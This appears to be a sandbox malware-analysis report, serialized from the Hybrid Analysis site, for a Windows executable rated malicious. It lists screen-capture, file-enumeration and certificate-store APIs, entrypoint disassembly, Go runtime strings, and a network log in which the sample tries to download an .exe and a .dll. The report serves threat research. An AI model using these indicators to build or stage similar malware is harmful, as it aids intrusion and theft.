21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 6bc3a6a1c3f7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6bc3a6a1c3f7…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 2/27 AV engines flagged this file. 6 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T8ab,Process " (Indicator: "GetDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007864.00000000.199196.00680000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp")35:T64f,file/memory contains long string with (Indicator: "FindNextFile"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "FindFirstFile"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")36:T1524,"GET /folder/exe.e HTTP/1.1" Response ==> HTTP/1.1 301 Moved Permanently Date: Fri 17 Apr 2026 23:26:32 GMT Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 01 Jan 1970 00:00:00 GMT Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff Location: https://site.com/folder/exe.e Vary: Accept-Encoding Set-Cookie: CookieConsentPolicy=1:1; path=/; expires=Sat 17-Apr-2027 23:26:32 GMT; Max-Age=31536000; secure Set-Cookie: LSKey-c$CookieConsentPolicy=1:1; path=/; expires=Sat 17-Apr-2027 23:26:32 GMT; Max-Age=31536000; secure Cache-Control: no-cache must-revalidate max-age=0 no-store private Server: sfdcedge X-SFDC-Request-Id: 67c4783c3e68e69a71fa363d5b80a41f X-Request-Id: 67c4783c3e68e69a71fa363d5b80a41f X-SFDC-Edge-Cache: none with no response body "GET /folder/exe.e HTTP/1.1 Host: site.com Connection: Keep-Alive Cookie: CookieConsentPolicy=1:1; LSKey-c$CookieConsentPolicy=1:1" Response ==> HTTP/1.1 302 Found Date: Fri 17 Apr 2026 23:26:33 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: keep-alive Content-Security-Policy: upgrade-insecure-requests Expires: Thu 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache must-revalidate max-age=0 no-store private Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Location: https://site.com/login?startURL=%2Ffolder%2Fexe.e X-Content-Type-Options: nosniff Server: sfdcedge X-SFDC-Request-Id: 222280c0f09fd3a7bf68cafdb91748b8 X-Request-Id: 222280c0f09fd3a7bf68cafdb91748b8 X-SFDC-Edge-Cache: none with no response body "GET /login?startURL=%2Ffolder%2Fexe.e HTTP/1.1 Host: site.com Connection: Keep-Alive Cookie: CookieConsentPolicy=1:1; LSKey-c$CookieConsentPolicy=1:1" Response ==> HTTP/1.1 200 OK Date: Fri 17 Apr 2026 23:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Content-Security-Policy: upgrade-insecure-requests Content-Security-Policy: frame-ancestors 'none' Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Cache-Control: no-cache must-revalidate max-age=0 no-store private Expires: Thu 01 Jan 1970 00:00:00 GMT X-FRAME-OPTIONS: DENY Vary: Accept-Encoding X-Content-Type-Options: nosniff Server: sfdcedge X-SFDC-Request-Id: be9d957a0dfb15c29a99c363c1028270 X-Request-Id: be9d957a0dfb15c29a99c363c1028270 X-SFDC-Edge-Cache: none with response body ==>0D0A3C21444F43545950452068746D6C205055424C494320222D2F2F5733432F2F445444205848544D4C20312E30205472616E736974696F6E616C2F2F454E22....... "GET /folder/exe.e HTTP/1.1" Response ==> HTTP/1.1 301 Moved Permanently Date: Fri 17 Apr 2026 23:26:37 GMT Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 01 Jan 1970 00:00:00 GMT Location: https://site.com/folder/exe.e Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff Vary: Accept-Encoding Set-Cookie: CookieConsentPolicy=1:1; path=/; expires=Sat 17-Apr-2027 23:26:37 GMT; Max-Age=31536000; secure Set-Cookie: LSKey-c$CookieConsentPolicy=1:1; path=/; expires=Sat 17-Apr-2027 23:26:37 GMT; Max-Age=31536000; secure Cache-Control: no-cache must-revalidate max-age=0 no-store private Server: sfdcedge X-SFDC-Request-Id: 86926308e4acc59fb08b1121793bcd02 X-Request-Id: 86926308e4acc59fb08b1121793bcd02 X-SFDC-Edge-Cache: none with no response body "GET /folder/exe.e HTTP/1.1 Host: site.com Connection: Keep-Alive Cookie: CookieConsentPolicy=1:1; LSKey-c$CookieConsentPolicy=1:1" Response ==> HTTP/1.1 302 Found Date: Fri 17 Apr 2026 23:26:38 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: keep-alive Expires: Thu 01 Jan 1970 00:00:00 GMT X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Location: https://site.com/login?startURL=%2Ffolder%2Fexe.e Cache-Control: no-cache must-revalidate max-age=0 no-store private Server: sfdcedge X-SFDC-Request-Id: 1924ee80d1dc2e35af87aa2635614535 X-Request-Id: 1924ee80d1dc2e35af87aa2635614535 X-SFDC-Edge-Cache: none with no response body "GET /login?startURL=%2Ffolder%2Fexe.e HTTP/1.1 Host: site.com Connection: Keep-Alive Cookie: CookieConsentPolicy=1:1; LSKey-c$CookieConsentPolicy=1:1" Response ==> HTTP/1.1 200 OK Date: Fri 17 Apr 2026 23:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-FRAME-OPTIONS: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Cache-Control: no-cache must-revalidate max-age=0 no-store private Expires: Thu 01 Jan 1970 00:00:00 GMT Content-Security-Policy: upgrade-insecure-requests Content-Security-Policy: frame-ancestors 'none' Server: sfdcedge X-SFDC-Request-Id: cbfc108d1322d72bc9f2cef5f4038370 X-Request-Id: cbfc108d1322d72bc9f2cef5f4038370 X-SFDC-Edge-Cache: none with response body ==>0D0A3C21444F43545950452068746D6C205055424C494320222D2F2F5733432F2F445444205848544D4C20312E30205472616E736974696F6E616C2F2F454E22....... "GET /files/file_d65cadee3f4b64a5.dll HTTP/1.1" Response ==> HTTP/1.1 404 Not Found Date: Fri 17 Apr 2026 23:26:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 275 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......37:T597,"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin" file has an entrypoint instructions - "jmp 0x477070,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 0x28,mov dword ptr [esp + 0x1c], ebx,mov dword ptr [esp + 0x10], ebp,mov dword ptr [esp + 0x14], esi,mov dword ptr [esp + 0x18], edi,mov dword ptr [esp], eax,mov dword ptr [esp + 4], ecx,call 0x4593d0,mov eax, dword ptr [esp + 8],mov edi, dword ptr [esp + 0x18],mov esi, dword ptr [esp + 0x14],mov ebp, dword ptr [esp + 0x10],mov ebx, dword ptr [esp + 0x1c],add esp, 0x28,ret 4,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 8,mov ecx, dword ptr [esp + 0xc],mov edx, dword ptr [ecx],mov eax, esp,mov dword ptr [edx + 4], eax,sub eax, 0x10000," "Bwale.exe" file has an entrypoint instructions - "jmp 0x477070,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 0x28,mov dword ptr [esp + 0x1c], ebx,mov dword ptr [esp + 0x10], ebp,mov dword ptr [esp + 0x14], esi,mov dword ptr [esp + 0x18], edi,mov dword ptr [esp], eax,mov dword ptr [esp + 4], ecx,call 0x4593d0,mov eax, dword ptr [esp + 8],mov edi, dword ptr [esp + 0x18],mov esi, dword ptr [esp + 0x14],mov ebp, dword ptr [esp + 0x10],mov ebx, dword ptr [esp + 0x1c],add esp, 0x28,ret 4,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub esp, 8,mov ecx, dword ptr [esp + 0xc],mov edx, dword ptr [ecx],mov eax, esp,mov dword ptr [edx + 4], eax,sub eax, 0x10000,"38:T5d3,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile" (Indicator: "CertOpenStore"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "rangebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panicunexpected g status, g->atomicstatus=bad runtime" (Indicator: "CryptReleaseContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemst" (Indicator: "CertOpenSystemStoreW"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemst" (Indicator: "CryptAcquireContextW"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "on: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=4656612873077392578125exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad" (Indicator: "CertGetCertificateChain"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp" (Indicator: "CertFreeCertificateChain"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125hash of unhashable type: GODEBUG: can not enable "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0failed putFast after drainnegative idle mark workersuse of invalid swe" (Indicator: "CertFreeCertificateContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "epLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free obj" (Indicator: "CertCreateCertificateContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "ortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "ortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverableread-only file systems" (Indicator: "CertOpenSystemStoreW"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go37252902984619140625link has been severedpackage not installedblock device requiredstate not recoverableread-only file systems" (Indicator: "CryptAcquireContextW"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625", missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: m" (Indicator: "CertFreeCertificateChain"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125hash of unhashable type: GODEBUG: can not enable "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0failed putFast after drainnegative idle mark workersuse of invalid sw" (Indicator: "CertFreeCertificateContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free ob" (Indicator: "CertCreateCertificateContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin"), Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00007864.00000000.199196.00739000.00000004.mdmp"), Found api reference "runtime: sp=abi 